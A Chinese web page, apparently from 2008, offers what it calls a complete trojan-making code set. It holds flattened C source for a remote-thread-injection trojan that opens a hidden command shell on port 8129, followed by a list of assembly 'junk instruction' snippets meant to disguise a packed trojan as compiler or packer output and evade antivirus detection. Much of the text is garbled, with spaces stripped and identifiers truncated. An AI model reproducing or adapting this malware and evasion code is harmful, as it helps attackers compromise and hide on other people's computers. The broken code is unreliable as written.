2024年3月30日发(作者：)
制造木马病毒代码大全
2008-06-0819:46
制造木马病毒代
码大全一个简单的木马原型基础代码添加上自己的
XXX
，
加上变态的壳，做点小修改，就可
以．．．．．
#include#pragmacomment(lib,"ws2_")
#include#include#pragmacomment(lib,"")
#include#include#include//
参数结构
;typedefstruct
_RemotePara{DWORDdwLoadLibrary;DWORD
dwFreeLibrary;DWORDdwGetProcAddress;DWORD
dwGetModuleHandle;DWORDdwWSAStartup;DWORD
dwSocket;DWORDdwhtons;DWORDdwbind;DWORD
dwlisten;DWORDdwaccept;DWORDdwsend;DWORD
dwrecv;DWORDdwclosesocket;DWORD
dwCreateProcessA;DWORDdwPeekNamedPipe;DWORD
dwWriteFile;DWORDdwReadFile;DWORDdwCloseHandle;
DWORDdwCreatePipe;DWORDdwTerminateProcess;
DWORDdwMessageBox;charstrMessageBox[12];char
winsockDll[16];charcmd[10];charBuff[4096];char
telnetmsg[60];}RemotePara;//
提升应用级调试权限
BOOLEnablePrivilege(HANDLEhToken,LPCTSTR
szPrivName,BOOLfEnable);//
根据进程名称得到进程
ID
DWORDGetPidByName(char*szName);//
远程线程执行
体
DWORD__stdcallThreadProc(RemotePara*Para)
{WSADATAWSAData;WORDnVersion;SOCKET
listenSocket;SOCKETclientSocket;structsockaddr_in
server_addr;structsockaddr_inclient_addr;intiAddrSize
=sizeof(client_addr);SECURITY_ATTRIBUTESsa;
HANDLEhReadPipe1;HANDLEhWritePipe1;HANDLE
hReadPipe2;HANDLEhWritePipe2;STARTUPINFOsi;
PROCESS_INFORMATIONProcessInformation;unsigned
longlBytesRead=0;typedefHINSTANCE(__stdcall
*PLoadLibrary)(char*);typedefFARPROC(__stdcall
*PGetProcAddress)(HMODULE,LPCSTR);typedef
HINSTANCE(__stdcall*PFreeLibrary)(HINSTANCE);
typedefHINSTANCE(__stdcall
*PGetModuleHandle)(HMODULE);FARPROC
PMessageBoxA;FARPROCPWSAStartup;FARPROC
PSocket;FARPROCPhtons;FARPROCPbind;FARPROC
Plisten;FARPROCPaccept;FARPROCPsend;FARPROC
Precv;FARPROCPclosesocket;FARPROCPCreateProcessA;
FARPROCPPeekNamedPipe;FARPROCPWriteFile;
FARPROCPReadFile;FARPROCPCloseHandle;FARPROC
PCreatePipe;FARPROCPTerminateProcess;PLoadLibrary
LoadLibraryFunc=(PLoadLibrary)Para->dwLoadLibrary;
PGetProcAddressGetProcAddressFunc=
(PGetProcAddress)Para->dwGetProcAddress;PFreeLibrary
FreeLibraryFunc=(PFreeLibrary)Para->dwFreeLibrary;
PGetModuleHandleGetModuleHandleFunc=
(PGetModuleHandle)Para->dwGetModuleHandle;
LoadLibraryFunc(Para->winsockDll);PWSAStartup=
(FARPROC)Para->dwWSAStartup;PSocket=
(FARPROC)Para->dwSocket;Phtons=
(FARPROC)Para->dwhtons;Pbind=
(FARPROC)Para->dwbind;Plisten=
(FARPROC)Para->dwlisten;Paccept=
(FARPROC)Para->dwaccept;Psend=
(FARPROC)Para->dwsend;Precv=
(FARPROC)Para->dwrecv;Pclosesocket=
(FARPROC)Para->dwclosesocket;PCreateProcessA=
(FARPROC)Para->dwCreateProcessA;PPeekNamedPipe=
(FARPROC)Para->dwPeekNamedPipe;PWriteFile=
(FARPROC)Para->dwWriteFile;PReadFile=
(FARPROC)Para->dwReadFile;PCloseHandle=
(FARPROC)Para->dwCloseHandle;PCreatePipe=
(FARPROC)Para->dwCreatePipe;PTerminateProcess=
(FARPROC)Para->dwTerminateProcess;PMessageBoxA=
(FARPROC)Para->dwMessageBox;nVersion=
MAKEWORD(2,1);PWSAStartup(nVersion,
(LPWSADATA)&WSAData);listenSocket=
PSocket(AF_INET,SOCK_STREAM,0);if(listenSocket==
INVALID_SOCKET)return0;server__family=
AF_INET;server__port=Phtons((unsigned
short)(8129));server__addr.s_addr=
INADDR_ANY;if(Pbind(listenSocket,(structsockaddr
*)&server_addr,sizeof(SOCKADDR_IN))!=0)return0;
if(Plisten(listenSocket,5))return0;clientSocket=
Paccept(listenSocket,(structsockaddr*)&client_addr,
&iAddrSize);//Psend(clientSocket,Para->telnetmsg,60,
0);
if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return
0;
if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return
0;ZeroMemory(&si,sizeof(si));//ZeroMemory
是
C
运行库
函数，可以直接调用
s=
STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
indow=SW_HIDE;put=hReadPipe2;
tput=ror=hWritePipe1;
if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NUL
L,NULL,&si,&ProcessInformation))return0;while(1)
{memset(Para->Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRe
ad,0,0);if(lBytesRead){if(!PReadFile(hReadPipe1,
Para->Buff,lBytesRead,&lBytesRead,0))break;
if(!Psend(clientSocket,Para->Buff,lBytesRead,
0))break;}else{lBytesRead=Precv(clientSocket,
Para->Buff,4096,0);if(lBytesRead<=0)break;
if(!PWriteFile(hWritePipe2,Para->Buff,lBytesRead,
&lBytesRead,0))break;}}PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);Pclosesocket(listenSocket);
Pclosesocket(clientSocket);//PMessageBoxA(NULL,
Para->strMessageBox,Para->strMessageBox,MB_OK);
return0;}intAPIENTRYWinMain(HINSTANCEhInstance,
HINSTANCEhPrevInstance,LPSTRlpCmdLine,int
nCmdShow){constDWORDTHREADSIZE=1024*4;
DWORDbyte_write;void*pRemoteThread;HANDLE
hToken,hRemoteProcess,hThread;HINSTANCE
hKernel,hUser32,hSock;RemotePara
myRemotePara,*pRemotePara;DWORDpID;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_
PRIVILEGES,&hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);//
获得
指定进程句柄，并设其权限为
PROCESS_ALL_ACCESSpID=
GetPidByName("");if(pID==0)return0;
hRemoteProcess=
OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return0;//
在远程进程地址空间分配
虚拟内存
pRemoteThread=
VirtualAllocEx(hRemoteProcess,0,THREADSIZE,
MEM_COMMIT|
MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return0;//
将线程执行体
ThreadProc
写入远程进程
if(!WriteProcessMemory(hRemoteProcess,
pRemoteThread,&ThreadProc,THREADSIZE,0))return0;
ZeroMemory(&myRemotePara,sizeof(RemotePara));
hKernel=LoadLibrary("");
Library=
(DWORD)GetProcAddress(hKernel,"LoadLibraryA");
Library=
(DWORD)GetProcAddress(hKernel,"FreeLibrary");
rocAddress=
(DWORD)GetProcAddress(hKernel,"GetProcAddress");
oduleHandle=
(DWORD)GetProcAddress(hKernel,"GetModuleHandleA");
teProcessA=
(DWORD)GetProcAddress(hKernel,"CreateProcessA");
NamedPipe=
(DWORD)GetProcAddress(hKernel,"PeekNamedPipe");
eFile=
(DWORD)GetProcAddress(hKernel,"WriteFile");
File=
(DWORD)GetProcAddress(hKernel,"ReadFile");
eHandle=
(DWORD)GetProcAddress(hKernel,"CloseHandle");
tePipe=
(DWORD)GetProcAddress(hKernel,"CreatePipe");
inateProcess=
(DWORD)GetProcAddress(hKernel,"TerminateProcess");
hSock=LoadLibrary("");
tartup=
(DWORD)GetProcAddress(hSock,"WSAStartup");
et=
(DWORD)GetProcAddress(hSock,"socket");
s=
(DWORD)GetProcAddress(hSock,"htons");
=
(DWORD)GetProcAddress(hSock,"bind");
en=
(DWORD)GetProcAddress(hSock,"listen");
pt=
(DWORD)GetProcAddress(hSock,"accept");
=
(DWORD)GetProcAddress(hSock,"recv");
=
(DWORD)GetProcAddress(hSock,"send");
esocket=
(DWORD)GetProcAddress(hSock,"closesocket");hUser32
=LoadLibrary("");
ageBox=
(DWORD)GetProcAddress(hUser32,"MessageBoxA");
strcat(sageBox,"Sucess!0");
strcat(kDll,"0");
strcat(,"0");
strcat(msg,"Connect
Sucessful!n0");//
写进目标进程
pRemotePara
=(RemotePara*)VirtualAllocEx
(hRemoteProcess,0,sizeof(RemotePara),MEM_COMMIT,PA
GE_READWRITE);if(!pRemotePara)return0;
if(!WriteProcessMemory
(hRemoteProcess,pRemotePara,&myRemotePara,sizeof
myRemotePara,0))return0;//
启动线程
hThread=
CreateRemoteThread(hRemoteProcess,0,0,(DWORD
(__stdcall*)(void
*))pRemoteThread,pRemotePara,0,&byte_write);while(1)
{}FreeLibrary(hKernel);FreeLibrary(hSock);
FreeLibrary(hUser32);CloseHandle(hRemoteProcess);
CloseHandle(hToken);return0;}BOOL
EnablePrivilege(HANDLEhToken,LPCTSTR
szPrivName,BOOLfEnable){TOKEN_PRIVILEGEStp;
egeCount=1;
LookupPrivilegeValue(NULL,szPrivName,&eges[0].L
uid);eges[0].Attributes=fEnable?
SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,
NULL);return((GetLastError()==ERROR_SUCCESS));}
DWORDGetPidByName(char*szName){HANDLE
hProcessSnap=INVALID_HANDLE_VALUE;
PROCESSENTRY32pe32={0};DWORDdwRet=0;
hProcessSnap
=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap==INVALID_HANDLE_VALUE)return0;
=sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap,&pe32)){do
{if(StrCmpNI(szName,ile,strlen(szName))==0)
{dwRet=32ProcessID;break;}}while
(Process32Next(hProcessSnap,&pe32));}elsereturn0;
if(hProcessSnap!=INVALID_HANDLE_VALUE)CloseHandle
(hProcessSnap);returndwRet;1.
伪装
vc++5.0
代码：
PUSHEBPMOVEBP,ESPPUSH-1push415448-___PUSH
4021A8-/
在这段代码中类似这样的操作数可以乱填
MOV
EAX,DWORDPTRFS:[0]PUSHEAXMOVDWORDPTR
FS:[0],ESPADDESP,-6CPUSHEBXPUSHESIPUSHEDI
ADDBYTEPTRDS:[EAX],AL/
这条指令可以不要
!jmp
原入
口地址
***********************************************
*************************2.
胡乱跳转代码：
noppush
ebpmovebp,espincecxpushedxnoppopedxdececxpop
ebpincecxloopsomewhere/
跳转到上面那段代码地址去！
somewhere:nop/"
胡乱
"
跳转的开始
...jmp
下一个
jmp
的
地址
/
在附近随意跳
/...jmp
原入口地址
/
跳到原
始
oep90558BEC4152905A495D41
转储免杀
***********************************************
*************************3.
伪装
c++
代码：
pushebp
movebp,esppush-1push111111push222222mov
eax,fs:[0]pusheaxmovfs:[0],esppopeaxmovfs:[0],eax
popeaxpopeaxpopeaxpopeaxmovebp,eaxjmp
原入口
地址
***********************************************
*************************4.
伪装
MicrosoftVisual
C++6.0
代码：
PUSH-1PUSH0PUSH0MOV
EAX,DWORDPTRFS:[0]PUSHEAXMOVDWORDPTR
FS:[0],ESPSUBESP,68PUSHEBXPUSHESIPUSHEDIPOP
EAXPOPEAXPOPEAXADDESP,68POPEAXMOVDWORD
PTRFS:[0],EAXPOPEAXPOPEAXPOPEAXPOPEAXMOV
EBP,EAXJMP
原入口地址
pushebpmovebp,espjmp
***********************************************
*************************5.
伪装防杀精灵一号防杀代
码：
pushebpmovebp,esppush-1push666666push
888888moveax,dwordptrfs:[0]pusheaxmovdwordptr
fs:[0],esppopeaxmovdwordptrfs:[0],eaxpopeaxpop
eaxpopeaxpopeaxmovebp,eaxjmp
原入口地址
***********************************************
*************************6.
伪装防杀精灵二号防杀代
码：
pushebpmovebp,esppush-1push0push0mov
eax,dwordptrfs:[0]pusheaxmovdwordptrfs:[0],espsub
esp,68pushebxpushesipushedipopeaxpopeaxpopeax
addesp,68popeaxmovdwordptrfs:[0],eaxpopeaxpop
eaxpopeaxpopeaxmovebp,eaxjmp
原入口地址
***********************************************
*************************7.
伪装木马彩衣
(
无限复活
袍
)
代码：
PUSHEBPMOVEBP,ESPPUSH-1push415448
-___PUSH4021A8-/
在这段代码中类似这样的操作数可
以乱填
MOVEAX,DWORDPTRFS:[0]PUSHEAXMOV
DWORDPTRFS:[0],ESPADDESP,-6CPUSHEBXPUSHESI
PUSHEDIADDBYTEPTRDS:[EAX],AL/
这条指令可以不要
!
jo
原入口地址
jno
原入口地址
call
下一地址
***********************************************
*************************8.
伪装木马彩衣
(
虾米披风
)
代码：
pushebpnopnopmovebp,espincecxnoppush
edxnopnoppopedxnoppopebpincecxloopsomewhere
/
跳转到下面那段代码地址去！
someshere:nop/"
胡乱
"
跳
转的开始
...jmp
下一个
jmp
的地址
/
在附近随意跳
/...jmp
原入口的地址
/
跳到原始
oep9.
伪装花花添加器
(
神
话
)
代码：
-----------
根据
C++
改
nopnopnopmovebp,esp
push-1push111111push222222moveax,dwordptrfs:[0]
pusheaxmovdwordptrfs:[0],esppopeaxmovdwordptr
fs:[0],eaxpopeaxpopeaxpopeaxpopeaxmovebp,eax
moveax,
原入口地址
pusheaxretn
***********************************************
*************************10.
伪装花花添加器
(
无极
)
代码：
nopmovebp,esppush-1push0A2C2Apush
0D9038moveax,fs:[0]pusheaxmovfs:[0],esppopeax
movfs:[0],eaxpopeaxpopeaxpopeaxpopeaxmovebp,
eaxmoveax,
原入口地址
jmpeax
***********************************************
*************************11.
伪装花花添加器
(
金刚
)
--------
根据
VC++5.0
改
nopnopmovebp,esppush
代码：
-1push415448push4021A8moveax,fs:[0]pusheaxmov
fs:[0],espaddesp,-6Cpushebxpushesipushediadd
[eax],almoveax,
原入口地址
jmpeax
***********************************************
*************************12.
伪装花花添加器
(
杀破浪
)
代码：
nopmovebp,esppush-1push0push0moveax,
fs:[0]pusheaxmovfs:[0],espsubesp,68pushebxpush
esipushedipopeaxpopeaxpopeaxaddesp,68popeax
movfs:[0],eaxpopeaxpopeaxpopeaxpopeaxmovebp,
eaxmoveax,
原入口地址
jmpeax
***********************************************
*************************12.
伪装花花添加器
(
痴情大
圣
)
代码：
省略
N
行
nopnoppushebpmovebp,
espaddesp,-0Caddesp,0Cmoveax,
原入口地址
push
eaxretn
***********************************************
*************************13.
伪装花花添加器
(
如果
*
爱
)
代码：
省略
N
行
nopnoppushebpmovebp,
espincecxpushedxnoppopedxdececxpopebpincecx
moveax,
原入口地址
jmpeax
***********************************************
*************************14.
伪装
PEtite2.2->Ian
Luck
代码：
moveax,0040E000push004153F3push
dwordptrfs:[0]movdwordptrfs:[0],esppushfwpushad
pusheaxxorebx,ebxpopeaxpopadpopfwpopdwordptr
fs:[0]popeaxjmp
原入口地址
'
执行到程序的原有
OEP
***********************************************
*************************15.
无效
PE
文件代码：
pushebpmovebp,espincecxpushedxnoppopedxdec
ecxpopebpincecxMOVDWORDPTRFS:[0],EAXPOP
EAX|POPEAXMOVDWORDPTRFS:[0],EAX|
（注意了。。
花指令）
POPEAX/POPEAX|MOVDWORDPTR
FS:[0],EAX/loop
原入口地址
***********************************************
*************************16.
伪装防杀精灵终极防杀
代码：
pushebpmovebp,espaddesp,-0Caddesp,0Cpush
eaxjmp
原入口地址
***********************************************
*************************17.
伪装木马彩衣
(
金色鱼锦
衣
)
花代码
pushebpmovebp,espaddesp,-0Caddesp,0C
moveax,
原入口地址
pusheaxretn
***********************************************
*************************18.
在
movebp,eax
后面
加上
PUSHEAXPOPEAX
***********************************************
*************************19.
伪装
UPX
花指令代码：
pushadmovesi,m.0044D000leaedi,dwordptr
ds:[esi+FFFB4000]pushediorebp,FFFFFFFFjmpshort
m.00477F2A
***********************************************
*************************pmovebp,esp
incecxpushedxpopedxdececxpopebpincecxjmp
原
入口
***********************************************
*************************
【深层】伪装
WCRTLibrary
(VisualC++)DLLMethod1->Jibz
黑客动画吧代码
+
汇
编代码：使用黑客动画吧粘贴以下代码：
558BEC837D
0C017541A1C030001085C0740AFFD085C07504
6AFEEB17680C3010E889000000
85CAFDFF15300010
6800300010E852
发布评论